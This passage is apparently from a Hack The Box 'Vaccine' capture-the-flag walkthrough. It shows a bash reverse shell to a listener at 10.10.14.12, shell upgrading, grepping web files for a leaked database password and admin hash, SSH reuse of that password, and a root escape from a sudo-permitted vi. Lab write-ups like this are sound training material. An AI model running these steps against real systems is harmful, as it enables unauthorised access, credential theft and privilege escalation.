┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/Desktop]
└──╼ []$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Then we run our reverse shell on the target machine.

os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.12/4444 0>&1'
do you want to retrieve the command standard output? [Y/n/a] Y
[04:56:46] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[04:56:46] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)

If we did everything right, we catch a connection back on our listener.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/Desktop]
└──╼ []$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.94.247.
Ncat: Connection from 10.129.94.247:52230.
bash: cannot set terminal process group (4499): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$

Sadly, this connection (again) seems a little bit shabby, so we 'upgrade' it.

postgres@vaccine:/var/lib/postgresql/11/main$ which python3
which python3
/usr/bin/python3
postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@vaccine:/var/lib/postgresql/11/main$ export TERM=xterm
export TERM=xterm
postgres@vaccine:/var/lib/postgresql/11/main$ ^Z
[1]+  Stopped                 nc -lvnp 4444
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/Desktop]
└──╼ []$ stty raw -echo; fg
nc -lvnp 4444

postgres@vaccine:/var/lib/postgresql/11/main$ 

Now that we have a stable and nice interactive shell we can take a better look at our surroundings. Traversing two directories up will get us the user flag.

postgres@vaccine:/var/lib/postgresql$ ls -hla
total 24K
drwxr-xr-x  5 postgres postgres 4.0K Oct 11  2021 .
drwxr-xr-x 39 root     root     4.0K Jul 23  2021 ..
drwxr-xr-x  3 postgres postgres 4.0K Jul 23  2021 11
lrwxrwxrwx  1 root     root        9 Feb  4  2020 .bash_history -> /dev/null
drwxrwxr-x  3 postgres postgres 4.0K Jul 23  2021 .local
lrwxrwxrwx  1 root     root        9 Feb  4  2020 .psql_history -> /dev/null
drwx------  2 postgres postgres 4.0K Jul 23  2021 .ssh
-r--------  1 postgres postgres   33 Oct 11  2021 user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt 
<flag>
postgres@vaccine:/var/lib/postgresql$

That’s nice, but even with this ‘upgraded’ shell our connection will time out and break down after a few minutes. With this issue in mind, we set out to search for any leftover and leaked credentials which we could then use for an ssh connection.

We get lucky when we search the directory where the webpage is installed.

postgres@vaccine:/var/www/html$ grep -i passw* *
dashboard.php:	  $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
index.php:  if(isset($_POST['username']) && isset($_POST['password'])) {
index.php:    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
index.php:        <label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
index.php:        <input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
style.css:.form input[type='password'],
style.css:.login input[type='password'],
style.css:.login input[type='password'],
style.css:.login input[type='password']:focus,
style.css:.login input[type='password']:hover,
postgres@vaccine:/var/www/html$

Using the credentials found in - dashboard.php -

credentials found in dashboard.php
usernamepostgres
passwordP@s5w0rd!

we try to initiate and ssh connection to our target.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ ssh postgres@$rhost
The authenticity of host '10.129.94.247 (10.129.94.247)' can't be established.
ECDSA key fingerprint is SHA256:eVsQ4RXbKR9eOZaXSlMmyuKTDOQ39NAb4vD+GOegBvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.94.247' (ECDSA) to the list of known hosts.
postgres@10.129.94.247's password: 
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 May 2023 04:20:13 AM UTC

  System load:  0.0               Processes:             185
  Usage of /:   32.6% of 8.73GB   Users logged in:       0
  Memory usage: 20%               IP address for ens160: 10.129.94.247
  Swap usage:   0%


0 updates can be installed immediately.
0 of these updates are security updates.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

postgres@vaccine:~$ 

--os-shell

TASK 7

Question: What program can the postgres user run as root using sudo?

We can use the -l option in the sudo command to list the current user’s privileges or to check a specific command.

postgres@vaccine:~$ id
uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)
postgres@vaccine:~$ sudo -l
[sudo] password for postgres: 
Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
postgres@vaccine:~$

vi

SUBMIT FLAG

Question: Submit user flag

The user flag was already aquired during TASK6.

flag

SUBMIT FLAG

Question: Submit root flag

Using the connection from TASK6 and building on the information we found in TASK7, all that’s left for us is to first somehow escape the vi environment and then to spawn a root shell.

So we run the aforementioned command (sudo -l output in TASK7) as root

postgres@vaccine:~$ sudo -u root /bin/vi /etc/postgresql/11/main/pg_hba.conf

and use the following commands inside vi to spawn a root shell:

:set shell=/bin/bash
:shell

Once we have the root shell, the finaly touch is simply locating and grabbing the root flag.

root@vaccine:/# cd root
root@vaccine:~# ls -hla
total 52K
drwx------  7 root root 4.0K May 18 04:49 .
drwxr-xr-x 20 root root 4.0K Oct 11  2021 ..
lrwxrwxrwx  1 root root    9 Feb  4  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Aug 27  2019 .bashrc
drwx------  2 root root 4.0K Jul 23  2021 .cache
drwx------  3 root root 4.0K Jul 23  2021 .gnupg
drwxr-xr-x  3 root root 4.0K Jul 23  2021 .local
-rw-r--r--  1 root root  148 Aug 27  2019 .profile
drwx------  2 root root 4.0K Jul 23  2021 .ssh
-rw-------  1 root root  828 May 18 04:49 .viminfo
-rw-r-----  1 root root 4.6K Feb  4  2020 pg_hba.conf
-rw-------  1 root root   33 Feb 25  2020 root.txt
drwxr-xr-x  3 root root 4.0K Jul 23  2021 snap
root@vaccine:~# cat root.txt
<flag>
root@vaccine:~#

flag

Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!